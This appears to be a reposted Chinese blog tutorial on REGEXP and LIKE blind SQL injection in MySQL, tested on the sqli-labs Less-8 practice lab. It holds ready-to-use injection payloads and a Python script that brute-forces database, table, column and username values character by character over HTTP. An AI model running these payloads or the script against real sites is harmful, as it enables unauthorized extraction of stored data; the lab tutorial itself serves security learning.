5

regexp注入

 2 years ago
source link: https://ssooking.github.io/2020/09/regexp%E6%B3%A8%E5%85%A5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

regexp注入 - ssooking

REGEXP注入,又叫盲注值正则表达式攻击,是盲注时常用方法之一,原理是直接查询数据,通过正则表达式进行匹配。如果系统过滤了=、in、like,我们可使用regexp注入。

表达式形式:

select (select语句) regexp '正则'

若匹配则返回1,不匹配返回0。例:

select (select username from users where id=1) regexp '^a';

^表示pattern(模式串)的开头。即当匹配到username字段下id=1的数据开头为a时,返回1;否则返回0。如果^被过滤,可使用$从后往前匹配。

常用regexp正则语句:

regexp '^a'      #判断第一个字符串是否为a
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

在联合查询中的使用

1 union select 1,database() regexp '^s',3 --+

REGEXP盲注

在sqli-labs靶场Less-8关进行测试

1.判断数据库长度

' or (length(database())=8)--+ 正常

2.判断数据库名

' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常

写个脚本批量跑

import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

# 判断第一个字符是否为s
union select 1,database() like 's%',3 --+

# 判断前面两个字符串是否为se
union select 1,database() like 'se%',3 --+

# 判断是否包含se两个字符串
union select 1,database() like '%se%',3 --+

# 判断是否为5个字符
union select 1,database() like '_____',3 --+

# 判断第一个字符是否为s
union select 1,database() like 's____',3 --+

https://blog.csdn.net/qq_43625917/article/details/105189912


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK